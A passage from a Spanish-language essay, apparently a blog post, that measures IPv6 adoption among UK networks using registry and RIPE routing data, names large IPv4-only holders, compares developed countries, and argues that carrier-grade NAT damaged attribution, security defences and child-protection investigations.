mecanismos de transición oficiales esperando a que un ISP británico me diera una dirección. El día que la 6bone se apagó, treinta y siete de los cuarenta proveedores británicos del gráfico de abajo aún no habían pedido una asignación al registro. Veintidós de ellos — más de la mitad — no la pidieron hasta 2015 o después, el año en que el IETF también se rindió con 6to4.\nHa venido encendido por defecto en cada sistema operativo que alguien corre desde Windows Vista en 2007. No cuesta nada extra del registro. El ISP más grande que lo intentó en este país terminó el trabajo en tres años con un equipo que cabría en una sala de reuniones, y ganó un premio por ello.\nTreinta años pasada la especificación. Catorce años pasado el día en que internet lo encendió de forma permanente. Y la respuesta en este país fue romper internet a propósito, envolver la parte rota en más maquinaria, y facturarle al cliente la molestia.\nEso no es un problema de coste. Es un problema de no dar la gana, y lleva pasando veinte años.\nLo que medí, y cómo Todo lo de abajo es o trabajo de otro, enlazado, o un número que produje yo mismo. Donde es mío, el script que lo contó está en la descarga de abajo, corrido tal como se publica. La única excepción son los totales de direcciones, y explico cómo se calculan esos en las salvedades. Cuatro fuentes públicas, todas gratis: los ficheros de delegación del registro, el volcado de la tabla de enrutamiento de RIPE, la base de datos de RIPE, y el DNS. Donde tomé una muestra en vez de medirlo todo, lo digo.\nLos números de enrutamiento vienen de dos conjuntos de ficheros públicos.\nEl primero son los ficheros de delegación, uno por registro regional, que listan cada bloque de direcciones y número de AS que ese registro ha repartido, el país al que está registrado, y un identificador opaco de la organización que lo tiene. El de RIPE cubre Europa y Oriente Medio, y es el que importa para el Reino Unido — pero unas pocas docenas de números de AS registrados en el Reino Unido están en los ficheros de ARIN y APNIC en su lugar, y la comparación más abajo necesita todos. Los míos se generaron el 26 y el 27 de agosto de 2026.\nEl segundo es el volcado de la tabla de enrutamiento global del Routing Information Service de RIPE, que lista cada prefijo en BGP y el número de AS que lo anuncia. IPv4 e IPv6 vienen como ficheros separados. El mío se generó a las 18:06 UTC del 27 de agosto de 2026.\nPonlos juntos y puedes responder una pregunta que nadie en la industria británica quiere que se haga en voz alta: de las redes que este país registró, ¿cuántas han encendido de verdad IPv6?\n\u0026#8615; Los scripts, listos para correr ipv6-uk-2026-scripts.zip · 10 kB Saca los números de AS registrados a GB de los ficheros de delegación, saca cada número de AS que origina un prefijo de los volcados del RIS, y haz comm de las dos listas una contra otra por familia de direcciones. Eso da la primera tabla de abajo. Una trampa que vale la pena nombrar: ordena léxicamente, no con sort -n. comm compara cadenas, y una entrada ordenada numéricamente te da en silencio la respuesta equivocada en vez de un error que notarías.\nCambia GB por cualquier otro código de país y obtienes la fila de ese país en la tabla de comparación más abajo. 05-country-row.sh hace exactamente eso.\nLos números a nivel de organización usan el octavo campo, que es el identificador opaco del registro para la cuenta que tiene cada recurso. Estos se quedan solo en el fichero de RIPE — los identificadores son locales a cada registro, así que concatenar cinco de ellos contaría la misma empresa dos veces en vez de fusionarla. Las organizaciones británicas son miembros de RIPE, así que RIPE es donde están. Así de muchas tienen un número de AS y nada de IPv6 en absoluto:\n03-org-no-ipv6.sh las cuenta. Y 04-silent-holders.py es el que más importa. Las organizaciones que tienen IPv6, están vivas en BGP, y no anuncian nada de él.\nCuatro salvedades antes de los números, porque importan y prefiero decirlas a que me las echen en cara.\nLos identificadores de organización son por cuenta de registro, así que una empresa que corre varias cuentas cuenta más de una vez.\nAnunciar un prefijo IPv6 en BGP no es lo mismo que dar IPv6 a un cliente. Es el suelo, no el techo. Una red que no anuncia nada desde luego no lo ha desplegado. Una red que anuncia algo podría seguir estando sentada sobre ello.\nLos totales de direcciones colapsan los prefijos solapados. Una red que anuncia un /16 junto a cuatro /17 sacados de él está anunciando 65 536 direcciones, no 196 608, y contar los prefijos ingenuamente infla a los grandes tenedores por dos o tres veces. Uso ipaddress.collapse_addresses de Python antes de sumar.\nLa lista de cincuenta sitios web de más adelante es una muestra que elegí a mano, no una medición de todo el país. Unos cincuenta distintos darían una fracción distinta. Ilustra un patrón en vez de probar una proporción, y nombro los que menciono según voy.\nLos dos primeros de esos hacen los números de enrutamiento más amables con la industria que la verdad.\nEl recuento Números de AS del Reino Unido, y cuántos llevan IPv6 Redes del Reino Unido en la tabla de enrutamiento global, 27 de agosto de 2026 Fuente: fichero de delegación de RIPE NCC y volcado de la tabla de enrutamiento de RIPE RIS registrados a orgs. británicas 3 106 visibles en la tabla de enrutamiento 2 248 anunciando IPv4 2 078 anunciando IPv6 1 048 IPv4 y nada de IPv6 1 200 57,7 % de las redes activas del RU De esos 1 200, un total de\u0026#160;463 tienen espacio IPv6 que el registro ya les ha emitido y nunca han anunciado un solo prefijo de él. Otras 1 113 organizaciones del Reino Unido que tienen un número de AS nunca han pedido IPv6 en absoluto, aunque no cuesta nada sobre la membresía que ya pagan. Cada número de AS registrado a una organización británica, medido contra la tabla de enrutamiento global el 27 de agosto de 2026. El hueco de la derecha es todo el argumento: 1 200 redes británicas están vivas en internet sin nada de IPv6, y 463 de ellas tienen espacio IPv6 emitido por el registro que nunca han anunciado. Números de AS registrados a organizaciones británicas 3 106 Visibles en la tabla de enrutamiento global 2 248 Anunciando IPv4 2 078 Anunciando IPv6 1 048 Anunciando IPv4 y nada de IPv6 1 200 — 57,7 % Casi seis de cada diez redes británicas vivas no llevan IPv6 en absoluto. No parcialmente. No detrás de un flag. No en un laboratorio. Ni un prefijo.\nAhora la parte que acaba con el argumento del coste para siempre.\nDe las 2 363 organizaciones británicas que tienen un número de AS, 1 113 — 47,1 % — no tienen asignación de IPv6 de ningún tipo. Nunca se la han pedido al registro.\nUna membresía del RIPE NCC cuesta 1 800 EUR al año para 2026, plana, y esa cuota cubre tus asignaciones. Un /29 de IPv6 te da 524 288 subredes del tamaño de toda la internet IPv4. Es gratis con una membresía que estas organizaciones ya están pagando, y llega en un par de días.\nLa mitad de ellas nunca rellenó el formulario.\nY de las que sí lo hicieron, 463 organizaciones británicas tienen espacio IPv6, anuncian IPv4 al mundo cada día, y no anuncian nada de IPv6 en absoluto. Eso es el 44,7 % de los tenedores de IPv6 británicos que están vivos en BGP.\nLéelo otra vez, porque es todo el artículo en una frase. Pidieron las direcciones. Les dieron las direcciones. Las metieron en una hoja de cálculo. Luego nadie se molestó en teclearlas en un router.\nNo puedes explicar eso con dinero. Nadie gastó nada. No hay factura, ni compra, ni caso de negocio, ni petición de capital. Hay una cosa gratis sentada en una cuenta de registro, y un departamento de ingeniería que no ha abierto el ticket en catorce años.\nQuién está en esa lista Estas son las redes británicas más grandes que anuncian IPv4 y nada de IPv6, por la cantidad de espacio de direcciones que de verdad anuncian, el 27 de agosto de 2026. Los nombres vienen de la base de datos de RIPE, que te dirá quién tiene cualquiera de ellos:\ncurl -s https://rest.db.ripe.net/ripe/aut-num/AS15914.json \\ | python3 -c \u0026#39;import sys,json; a=json.load(sys.stdin)[\u0026#34;objects\u0026#34;][\u0026#34;object\u0026#34;][0][\u0026#34;attributes\u0026#34;][\u0026#34;attribute\u0026#34;]; print(next(x[\u0026#34;value\u0026#34;] for x in a if x[\u0026#34;name\u0026#34;]==\u0026#34;org\u0026#34;))\u0026#39; Las mayores redes del Reino Unido sin IPv6 Las mayores redes del Reino Unido anunciando IPv4 y nada de IPv6, 27 de agosto de 2026 Direcciones IPv4 anunciadas en BGP, prefijos solapados colapsados. Nombres de la base de datos de RIPE. 0k 50k 100k 150k 200k Vodafone Limited AS25310 229 376 Nationwide Building Society AS8698 131 072 British Airways plc AS15914 131 072 Convergence Group (Metronet) AS42973 94 976 Rackspace Ltd AS24867 86 016 Lloyds Banking Group AS49758 81 920 QinetiQ Limited AS24775 69 632 Barclays Bank plc AS12701 68 608 MUFG Securities EMEA AS8651 65 792 University of Warwick AS201773 65 792 NatWest Markets plc AS21054 65 536 PricewaterhouseCoopers Services AS21296 65 536 London Borough of Hackney AS39400 65 536 Wireless Logic Limited AS51320 39 424 Entre ellas las redes del Reino Unido sin IPv6 se sientan sobre\u0026#160;4 232 232 direcciones IPv4. Barclays tiene 141.228.0.0/16 desde agosto de 1990. Las catorce redes británicas más grandes que anuncian IPv4 y nada de IPv6 el 27 de agosto de 2026, por el espacio de direcciones que de verdad anuncian. Prefijos solapados colapsados antes de sumar. Mira esa lista e intenta decir las palabras «barrera de coste» sin reírte.\nCuatro de los bancos de compensación. Una firma global de contabilidad cuyo producto entero es decirle a otra gente cómo llevar sus asuntos. Una empresa de tecnología de defensa. Un proveedor de hosting cuyos clientes le pagan por saber esto. Un negocio de conectividad de internet de las cosas, que vende tarjetas SIM, sin IPv6.\nEntre todas, las redes británicas que no anuncian nada de IPv6 están sentadas sobre 4 232 232 direcciones IPv4. El mercado de transferencia promedió $20,04 por dirección en la primera mitad de 2026, así que eso es una tenencia que vale algo al norte de ochenta millones de dólares. Que es la razón real por la que ninguna de ellas se ha movido: son ricas en direcciones, así que la escasez es problema de otro, y la fontanería a largo plazo de internet no es el trabajo de nadie en particular.\nEso no es una estrategia. Eso es estar cómodo.\nEl fichero de delegación lleva la fecha en que cada bloque se repartió, así que puedes ver exactamente cuán cómodo:\ngrep -E \u0026#39;\\|ipv4\\|(141\\.228|155\\.131|155\\.136|161\\.2)\\.0\\.0\\|\u0026#39; \\ delegated-ripencc-extended-latest | cut -d\u0026#39;|\u0026#39; -f4,5,6 Barclays ha tenido 141.228.0.0/16 desde el 6 de agosto de 1990. Nationwide y NatWest cogieron los suyos en noviembre de 1991, con cuatro días de diferencia. British Airways obtuvo 161.2.0.0/16 en abril de 1992. Estos son bloques clase B de antes de que existiera la web, repartidos cuando las direcciones eran gratis y nadie contaba.\nTodo el que vino después de ellos paga por eso. AWS empezó a cobrar $0,005 la hora por cada dirección IPv4 pública el 1 de febrero de 2024 — $43,80 al año, cada una — y dijo claramente por qué: el coste de adquirir una «has risen more than 300% over the past 5 years» — ha subido más de un 300 % en los últimos 5 años. La escasez es real y tiene un precio. Solo que no la paga la gente que tiene cuatro millones de direcciones que consiguió gratis en 1991.\nCómo quedamos frente a países como nosotros Dos números por país. El primero es la proporción de su gente que llega a Google por IPv6 nativo, que es la medición de Google el 25 de agosto de 2026. El segundo es la proporción de sus redes vivas que anuncian un prefijo IPv6, que es la mía, de los mismos ficheros de arriba. Lo he limitado a economías desarrolladas. Compararnos con países que llegaron tarde a internet no te dice nada sobre nosotros. Ordenado por gente.\nPaís Usuarios en IPv6 Redes con IPv6 Redes activas Francia 85,6 % 48,5 % 1 368 Alemania 76,6 % 63,9 % 2 291 Bélgica 72,8 % 45,8 % 273 Estados Unidos 56,6 % 25,9 % 18 453 Japón 56,1 % 56,4 % 721 Reino Unido 53,7 % 42,3 % 2 078 Noruega 52,6 % 66,9 % 278 Países Bajos 51,9 % 61,8 % 1 023 Canadá 43,6 % 33,1 % 1 578 Irlanda 38,1 % 41,5 % 195 Australia 37,2 % 26,3 % 1 652 Suecia 36,1 % 53,6 % 642 Corea del Sur 18,1 % 5,3 % 916 Italia 17,6 % 35,8 % 1 078 España 13,3 % 26,7 % 934 Sexto de quince. Francia tiene la mitad más de su gente en IPv6 que nosotros, con la misma cadena de suministro europea, bajo los mismos proveedores de equipo, con los mismos clientes diciéndoles que nadie lo pide. Alemania está veintitrés puntos por delante de nosotros en usuarios y veintidós puntos por delante en redes.\nLas dos columnas de porcentaje no concuerdan entre sí, y el desacuerdo es la historia.\nUsuarios en IPv6 frente a redes que llevan IPv6, quince economías desarrolladas Personas en IPv6, frente a redes que llevan IPv6 Medición de usuarios de Google, 25 ago 2026, frente a mi recuento de redes activas anunciando un prefijo IPv6, 27 ago 2026. proporción de personas proporción de redes Francia 85,6 % 48,5 % Alemania 76,6 % 63,9 % Bélgica 72,8 % 45,8 % Estados Unidos 56,6 % 25,9 % Japón 56,1 % 56,4 % Reino Unido 53,7 % 42,3 % Noruega 52,6 % 66,9 % Países Bajos 51,9 % 61,8 % Canadá 43,6 % 33,1 % Irlanda 38,1 % 41,5 % Australia 37,2 % 26,3 % Suecia 36,1 % 53,6 % Corea del Sur 18,1 % 5,3 % Italia 17,6 % 35,8 % España 13,3 % 26,7 % 0 % 20 % 40 % 60 % 80 % 100 % Una barra azul larga sobre una rosa corta significa que tres o cuatro operadores hicieron el trabajo y el resto de el país no. Francia, Bélgica, los Estados Unidos y el Reino Unido tienen todos esa forma. Noruega, Suecia y Japón no. Los mismos quince países en ambas medidas, ordenados por la proporción de gente que usa IPv6. Donde la barra de redes es mucho más corta que la de usuarios, unos pocos grandes operadores están llevando al país y nadie más se ha molestado. Esa es la forma de los Estados Unidos, Bélgica, Francia — y el Reino Unido. El porcentaje de usuarios de un país lo fijan tres o cuatro empresas. El porcentaje de redes lo fija todo el mundo demás. Cuando el primero es alto y el segundo es bajo, significa que las grandes redes de acceso hicieron el trabajo y el resto del país fue de gorra sobre ellas.\nEstados Unidos es el caso más claro: el 56,6 % de su gente está en IPv6 y solo el 25,9 % de sus redes lo está. Los operadores de cable y móvil llevan a casi todos. Las otras dieciocho mil redes estadounidenses no hicieron nada.\nLa nuestra es el mismo truco con números más pequeños — 53,7 % de usuarios contra 42,3 % de redes. Ese 53,7 % no es un logro nacional. Es Sky y BT, y un error de redondeo de todos los demás.\nNoruega y Suecia son la contraforma honesta: menos usuarios en IPv6 que nosotros, más redes llevándolo. Más de su industria ha hecho de verdad el trabajo, y son los ISP de consumo los que van rezagados en vez del gremio.\nY una fila merece una mirada más de cerca, porque es la que la gente busca cuando quiere sentirse mejor sobre nosotros.\nCorea del Sur es el peor país de esta lista, con diferencia. De 916 redes coreanas vivas, 61 anuncian IPv6. Sesenta y una.\nAlgo de la banda ancha doméstica más rápida de la Tierra, una industria de chips que imprime dinero, y el 94,7 % de sus redes nunca lo encendió. Los tres grandes operadores — KT, SK Broadband y LG U+ — lo anuncian todos, que es por lo que el 18,1 % de los usuarios coreanos lo tiene. Las otras ochocientas cincuenta redes no hicieron nada.\nSea cual sea la excusa ahí, no es el dinero, no es la capacidad, y no es el estado de la fibra.\nVeinte años atornillando cosas Aquí está lo que la industria construyó en vez de teclear las direcciones.\nCuando las direcciones empezaron a escasear, la respuesta fue el NAT a escala de operador: pon cientos de clientes detrás de una dirección IPv4 pública y traduce entre ellos. Todo lo de abajo existe para hacer eso sobrevivible, y cada uno de estos documentos es una pieza de trabajo de ingeniería que alguien eligió hacer en vez de desplegar IPv6.\nApaño Para qué sirve RFC 6598 (2012) Quema un /10 entero — cuatro millones de direcciones — como «shared address space», así que el apaño para la escasez necesita sus propias direcciones RFC 6333 (2011) DS-Lite: tuneliza IPv4 sobre la red IPv6 que construiste pero no le diste al cliente RFC 6877 (2013) 464XLAT: traduce IPv4 a IPv6 y de vuelta otra vez en el mismo trayecto RFC 6888 (2013) La lista de requisitos que un NAT a escala de operador debe cumplir para no ser peligroso RFC 7021 (2013) Un estudio completo de las aplicaciones que el NAT a escala de operador rompe RFC 7422 (2014) Mapeo determinista de direcciones, inventado puramente para impedir que el volumen de logs arruine al proveedor RFC 7597 / 7599 (2015) MAP-E y MAP-T: dos maneras más de llevar IPv4 sobre IPv6 sin admitir que tienes IPv6 Veinte años de apaños frente al único cambio que reemplazan Lo que construimos en su lugar, y en lugar de qué era Evitar IPv6 Espacio compartido — un /10 quemado RFC 6598, 2012 DS-Lite — tunelizar IPv4 sobre un núcleo IPv6 RFC 6333, 2011 464XLAT — traducir fuera de IPv4 y de vuelta RFC 6877, 2013 Reglas para un NAT de operador viable RFC 6888, 2013 Un estudio de las aplicaciones que rompe RFC 7021, 2013 Mapeo determinista para recortar logs RFC 7422, 2014 MAP-E y MAP-T — IPv4 sobre IPv6 otra vez RFC 7597/9, 2015 Más la propia capa NAT: tablas de sesión, asignación de bloques de puertos, pasarelas, conmutación, capacidad planificada, una tubería de logs — y una ley de retención aprobada para tapar la atribución que destruyó. Hacer IPv6 Doble pila Una familia de direcciones más, sobre el protocolo de routing y la política de firewall que ya usas. Sin capa nueva en el camino del tráfico. Sin estado de sesión que dimensionar. Sin logs para satisfacer una ley. Gratis del registro. Ambas columnas son trabajo de ingeniería, y la de la izquierda es mayor. La diferencia es que el trabajo de la izquierda se puede comprar a un proveedor, y el de la derecha tiene que entenderlo la gente que posee la red. Dos décadas de trabajo de estándares, hardware y logs, todo ello al servicio de no hacer la cosa de la derecha. La doble pila es una familia de direcciones añadida junto a la que ya corres. Todo lo de la izquierda existe para evitarla. Mira la forma de eso. Cada elemento de la lista es más difícil que la doble pila. Tunelizar IPv4 dentro de IPv6 es estrictamente más trabajo que enrutar IPv6, porque tienes que enrutar el IPv6 de todos modos para llevar el túnel. Traducir entre familias es más trabajo que no traducir. Un NAT a escala de operador es una caja con estado en medio de tu red, con planificación de capacidad, conmutación por error, tablas de sesión, asignación de bloques de puertos, pasarelas de capa de aplicación para los protocolos que rompe, y una tubería de logs dimensionada para una obligación legal.\nLa doble pila es una familia de direcciones, un protocolo de enrutamiento que ya corres, y una política de cortafuegos que ya escribiste.\nLa industria miró esas dos opciones y eligió la cara, veinte años seguidos, porque la cara se podía comprar y la barata había que entenderla. Comprar una caja es un ejercicio de compras. Encender IPv6 significa que alguien en el edificio tiene que saber cómo funciona la red.\nQué rompe esto de verdad Para quien piense que esto es estética, aquí está lo que una dirección compartida le cuesta a tus usuarios, en el orden en que te van a llamar por ello.\nNada puede llegar desde fuera. Sin reenvío de puertos, así que nada autoalojado, ninguna consola de juegos actuando de host, ninguna VPN sitio a sitio sin un relé, ninguna cámara de seguridad sin la nube del fabricante, ningún acceso remoto a la cosa del otro emplazamiento. Cada una de esas se reemplaza por un servicio de encuentro de terceros, que es otra empresa que tiene tus datos porque tu proveedor no te dio una dirección.\nHeredas las reputaciones de desconocidos. Comparte una dirección con unos pocos cientos de personas y compartes su comportamiento. Límites de tasa, CAPTCHA, bloqueos de Wikipedia, errores de geolocalización de streaming y puntuación de fraude te caen todos a ti por algo que hizo otro.\nLos puertos se agotan. Un NAT a escala de operador tiene 65 535 puertos por dirección pública por protocolo, y una sola sesión de navegador moderno se come docenas. Sobresuscribe y el fallo no es un error limpio. Es un fallo lento, intermitente, irreproducible que parece todo excepto lo que es, y quema días de tiempo de soporte por incidente.\nCada apaño hay que mantenerlo para siempre, por gente que podría haber gastado ese tiempo en el arreglo.\nY luego está el que dejó de ser una molestia y se volvió el problema de todos. Nadie puede decir quién hizo qué.\nEl apaño que llegó al Parlamento Una vez que cientos de clientes comparten una dirección, una dirección ya no identifica a nadie. Así que la policía no puede resolver una dirección IP a una persona, y la respuesta a eso no fue IPv6. Fue legislación.\nLa sección 21 de la Counter-Terrorism and Security Act 2015 enmendó el régimen de retención de datos específicamente para que el Secretary of State pudiera obligar a los proveedores a retener los datos extra necesarios «to link the unique attributes of a public Internet Protocol (IP) address to the person (or device) using it at any given time» — para enlazar los atributos únicos de una dirección IP pública con la persona (o dispositivo) que la usa en un momento dado. Las notas explicativas son tajantes sobre por qué hacía falta: los proveedores «may share IP addresses between multiple users, and the providers generally have no business purpose for keeping a log of who used each address at a specific point in time» — pueden compartir direcciones IP entre varios usuarios, y generalmente no tienen razón comercial para llevar un registro de quién usó cada dirección en un momento concreto.\nLéelo como un ingeniero en vez de como un abogado. La industria rompió la atribución para ahorrarse trabajo, y el Parlamento aprobó una ley que la obliga a construir un sistema de logs para tapar la rotura.\nDos años después Europol lo dijo claro. En octubre de 2017 publicó una llamada a la industria para dejar de usar el NAT a escala de operador, con cifras: el 90 % de los proveedores de acceso a internet móvil y el 50 % de los de línea fija habían adoptado una tecnología que les impedía identificar a sus propios abonados. El entonces director ejecutivo de Europol dijo que el CGN «has created a serious online capability gap in law enforcement efforts to investigate and attribute crime» — ha creado una grave brecha de capacidad en línea en los esfuerzos de las fuerzas del orden para investigar y atribuir el delito —, y señaló que «forces judiciary and law enforcement authorities to investigate many more individuals than would normally be necessary» — obliga a las autoridades judiciales y policiales a investigar a muchos más individuos de los que normalmente sería necesario.\nEuropol también dijo la parte callada. El NAT a escala de operador «was supposed to be a temporary solution until the transition to IPv6 was completed» — se suponía que era una solución temporal hasta que se completara la transición a IPv6. En cambio la industria siguió aumentando su uso mientras el reemplazo estaba ahí, terminado, gratis e ignorado.\nAsí que el coste de no desplegar IPv6 incluye: una pieza de legislación primaria, una obligación de retención a escala nacional, gente inocente arrastrada a investigaciones porque compartió una dirección con alguien que no era inocente, y una brecha de capacidad continua que la policía describe como un problema de seguridad pública.\nNadie puso eso en el caso de negocio. Nunca aparece en la diapositiva de «IPv6 no tiene retorno de inversión», porque no lo pagan los que lo causaron.\nNo solo esconde a los criminales. Los ayuda. El argumento de la atribución es el que hacen las fuerzas del orden, y va de coger a la gente después del hecho. Hay un segundo argumento que se hace mucho menos a menudo y es peor: compartir direcciones degrada activamente las defensas que impiden que los ataques ocurran siquiera.\nEste no es mi análisis. El IETF publicó el catálogo en RFC 6269, Issues with IP Address Sharing, en junio de 2011. Eso fue antes de que el Reino Unido desplegara la mayor parte del NAT a escala de operador que ahora corre. Sus palabras llanas: compartir direcciones «creates a vector for attack amplification in numerous ways» — crea un vector para la amplificación de ataques de numerosas maneras.\nAquí está lo que advirtió que se rompería, y se rompió.\nLos límites de tasa y los bloqueos dejan de funcionar. La defensa estándar contra la adivinación de contraseñas y el relleno de credenciales es contar los fallos por dirección y meter al infractor en un rincón de penalización. Comparte esa dirección entre cientos de personas y el contador está midiendo una multitud. El RFC 6269 es tajante sobre el resultado: «In the presence of widespread large-scale address sharing, penalty box solutions to service abuse simply will not work» — en presencia de un uso compartido de direcciones generalizado y a gran escala, las soluciones de rincón de penalización contra el abuso de servicio simplemente no funcionarán. Los inicios de sesión fallidos de un usuario bloquean a todos los demás, así que los operadores suben los umbrales, y subir los umbrales es lo que el atacante quería.\nEl bloqueo por listas se vuelve daño colateral. Bloquea al spammer y bloqueas la calle en la que vive. Así que el operador sensato deja de bloquear, y el abuso continúa desde una dirección que nadie se atreve a tocar.\nLas máquinas infectadas se quedan infectadas. Los feeds de abuso y las notificaciones de malware llegan como una dirección y una marca de tiempo. Detrás de un CGN sin registro de puertos, el proveedor no puede decir cuál de sus clientes corre el bot, así que al cliente nunca se le avisa y la infección sigue arriba. Peor, el RFC 6269 nota el problema inverso: «someone else\u0026rsquo;s worm can interfere with the ability to access the service for other subscribers sharing the same IP address» — el gusano de otro puede interferir con la capacidad de acceder al servicio para otros abonados que comparten la misma dirección IP.\nEl control de acceso basado en direcciones falla. Cada lista de permitidos construida sobre la dirección de origen ahora admite una multitud en vez de un cliente.\nY una defensa se debilita de forma medible en vez de solo embotarse. Los ataques TCP a ciegas dependen de adivinar la quíntupla, y la mitigación de la industria es aleatorizar el puerto de origen (RFC 6056). Un NAT a escala de operador le da a cada abonado una porción del rango de puertos en vez de todo él. En palabras del RFC 6269, «with shared IPv4 addresses, the port selection space is reduced» — con direcciones IPv4 compartidas, el espacio de selección de puertos se reduce. El apaño para la escasez de direcciones saca entropía directamente de un mecanismo antiataque.\nLuego está la parte que debería preocupar a cualquiera, independientemente de lo que piense sobre la policía. Si el servidor no registró los puertos de origen y el NAT no registró los destinos, el RFC 6269 deletrea lo que un proveedor debe hacer cuando llega una solicitud legal: «would need to disclose the identity of all subscribers who had active sessions on the NAT during the time period in question. This may be a large number of subscribers» — tendría que revelar la identidad de todos los abonados que tuvieron sesiones activas en el NAT durante el periodo en cuestión. Esto puede ser un número grande de abonados.\nLa alternativa a identificar a un abonado culpable es entregar las identidades de varios cientos de inocentes. Ese es el resultado real de privacidad de compartir direcciones, y es lo opuesto del que sus defensores le atribuyen.\nTres cosas tienen que alinearse, y nadie está obligado a proveer ninguna La gente asume que los logs existen en algún sitio y es cuestión de pedirlos. En su mayoría no existen, y la razón es aritmética en vez de mala voluntad.\nPara convertir una dirección compartida de vuelta en un hogar, tres cosas separadas deben haber ido todas bien:\nEl servidor del otro extremo registró el puerto de origen. RFC 6302 pidió a los servidores de cara a internet que registraran el puerto de origen y la marca de tiempo junto a la dirección, en 2011. Es una recomendación. Nadie la hace cumplir, y muchísimos servidores todavía registran solo la dirección. En cuyo punto el rastro está muerto antes de llegar al extremo británico. El proveedor guardó el mapeo. Cada sesión, durante meses. Los relojes concordaron. El RFC 6269 advierte que en un CGN ocupado «even very small amounts of clock skew between a third party\u0026rsquo;s server and the CGN operator will result in ambiguity about which customer was using a specific port at a given time» — incluso cantidades muy pequeñas de desfase de reloj entre el servidor de un tercero y el operador del CGN resultarán en ambigüedad sobre qué cliente usaba un puerto concreto en un momento dado. Falla cualquiera y no tienes nada. Y la del medio es donde se desmorona, porque los documentos de estándares contienen las cuentas.\nRFC 7422 puso números reales. Los operadores reportaron unas 33 000 conexiones por hogar al día. A unos 150 bytes por entrada de log eso son 5 MB por abonado al día, 150 MB al mes. Para un proveedor con un millón de abonados: 150 terabytes de logs al mes, 1,8 petabytes al año — para guardar durante los seis a doce meses que la ley espera, y buscar bajo demanda.\nY nunca es un solo log. NAT444, el caso para el que el RFC 7422 dimensiona sus entradas, pone una traducción en el router del cliente y otra en el operador, y cada puerta que un paquete cruza tiene que anotar lo que hizo. Reconstruir una sola sesión significa correlacionar tablas separadas, guardadas por partes separadas, contra el problema de los relojes de arriba. La evidencia llega en pedazos de sistemas distintos, o no llega.\nY el dinero es solo la mitad. Capturar registros de sesión a esa tasa, enviarlos a algún sitio, indexarlos para que una solicitud legal vuelva en horas en vez de semanas, y guardar el lote durante un año es un proyecto de ingeniería de datos. No hay panel para ello y no hay caja que comprar. Tiene que construirlo alguien que entienda lo que está construyendo, y eso no es apuntar y hacer clic, lo que en esta industria está bastante cerca de decir que no se construye.\nNadie iba a pagar por ello tampoco. Y el IETF lo sabía, que es por lo que RFC 6888 dice a los operadores lo opuesto de lo que la seguridad pública necesita: «A CGN\u0026rsquo;s port allocation scheme SHOULD minimize log volume» — el esquema de asignación de puertos de un CGN DEBERÍA minimizar el volumen de logs, justificado porque «huge log volumes can be problematic to CGN operators» — los volúmenes enormes de logs pueden ser problemáticos para los operadores de CGN. El RFC 7422 existe con el único propósito de recortar esa factura.\nAsí que el consejo de diseño a la industria es registrar menos, la economía dice que 1,8 petabytes al año es inasumible, y la expectativa legal es un registro completo. Esas no pueden ser todas ciertas a la vez, y la que cede es el registro.\nPor eso Europol encontró que la mayoría de los proveedores de acceso no pueden identificar a un abonado cuando se les sirve una orden legal. No porque sean obstructivos. Porque lo que se pedía nunca fue económicamente posible de guardar, y a nadie se le obligó nunca.\nDos cosas se siguen de eso, y son mías en vez de la cita de nadie.\nPrimero: una gran parte de las conexiones a internet británicas son inatribuibles por construcción. El móvil es el caso más claro, y la medición independiente lo pone más alto que Europol, en el 95 %. Así que el anonimato que solía requerir Tor, o una VPN que alguien tenía que comprar, es ahora el ajuste de fábrica en una conexión móvil británica — emitido gratis con la SIM, a todos, incluida la pequeña cantidad de gente que todo el aparato se supone que debe encontrar.\nSegundo, y peor: romper el método barato y dirigido es lo que produce la demanda del caro e indiscriminado. Cuando puedes servir una orden sobre una dirección y obtener un hogar, no necesitas nada más. Cuando eso deja de funcionar, el Estado no se encoge de hombros. Echa mano de algo más amplio. Eso es lo que fue la Ley de 2015: un deber de retención sobre toda la base de abonados, para responder preguntas sobre un puñado de personas.\nNada de eso existe en el otro lado. Nada se traduce, así que no hay ningún registro por conexión que guardar en absoluto. La dirección en el log del servidor del otro extremo ya es el prefijo del abonado: un registro, escrito una vez cuando la línea se aprovisionó, en un sistema. Incluso un proveedor que rota prefijos a diario escribe unos pocos cientos al año por cliente, contra los doce millones a los que llegan 33 000 conexiones al día. No es que IPv6 registre menos. No hay nada que registrar.\nLa gente que escribió el apaño lo sabía. En medio de una especificación escrita sin más razón que hacer el CGN asequible de registrar, se pararon a anotar que «native IPv6 will offer subscribers a better experience than CGN» — el IPv6 nativo ofrecerá a los abonados una mejor experiencia que el CGN.\nUna industria declinó gastar una quincena por red en un protocolo gratis, y el país obtuvo un régimen de retención de datos en su lugar.\n¿Arreglar esto protegería a los niños mejor que la Online Safety Act? Quiero tener cuidado aquí, porque es fácil hacer este argumento mal y la versión mal hecha merece la paliza que se llevaría.\nEmpieza con cómo corre de verdad una investigación de abuso infantil. Una plataforma detecta el material y lo denuncia. La denuncia lleva una dirección y una marca de tiempo. La policía sirve al proveedor de acceso para convertir eso en un abonado, y el abonado es una dirección en el mundo real con una puerta. Esa es toda la cadena, y cada paso después depende del anterior.\nAhora pon un NAT a escala de operador en el medio. La denuncia sigue llegando. La dirección sigue resolviendo. A varios cientos de hogares, y Europol encontró investigaciones «dropped or delayed» — abandonadas o retrasadas — como resultado. Sus ejemplos de casos incluyen un fiscal incapaz de identificar a los miembros de un foro que apoyaba a ISIS, así que la acusación no ocurrió, y HMRC rastreando fraude fiscal masivo a direcciones móviles y encontrando las pistas «frustrated from the outset» — frustradas desde el principio.\nLa CyberTipline de NCMEC recibió 21,3 millones de denuncias en 2025 y refirió más de 18,8 millones a las fuerzas del orden, incluidas más de 53 000 que involucraban a un niño en peligro inmediato. NCMEC también registra que más del 10 % de las denuncias de la industria llegaron con información demasiado pobre para averiguar a qué jurisdicción enviarlas. Esa cifra no es cosa del CGNAT y no afirmo que lo sea — pero te dice en qué parte de esta tubería mueren los casos. Mueren en los metadatos.\nAsí que la versión honesta de la comparación es esta. El NAT a escala de operador rompe la propia última milla de la Online Safety Act. El Parlamento ha impuesto deberes de detectar y denunciar, y ha dejado la red de acceso incapaz de resolver lo que se denuncia. Puedes aprobar tantos deberes de denuncia como quieras. Si el paso final devuelve una multitud, la denuncia es papel.\nY el coste de las dos cosas no es ni remotamente comparable. La Ley es la mayor pieza de regulación de internet que este país ha intentado — miles de servicios en su alcance, un regulador escribiendo códigos durante años, verificación de edad corriendo a millones de comprobaciones al día, y un problema de elusión lo bastante grande como para que el Parlamento haya debatido el uso de VPN en los Lores. IPv6 no cuesta nada del registro y le lleva a un equipo competente un par de semanas. Una de esas se le ha exigido a toda la industria. La 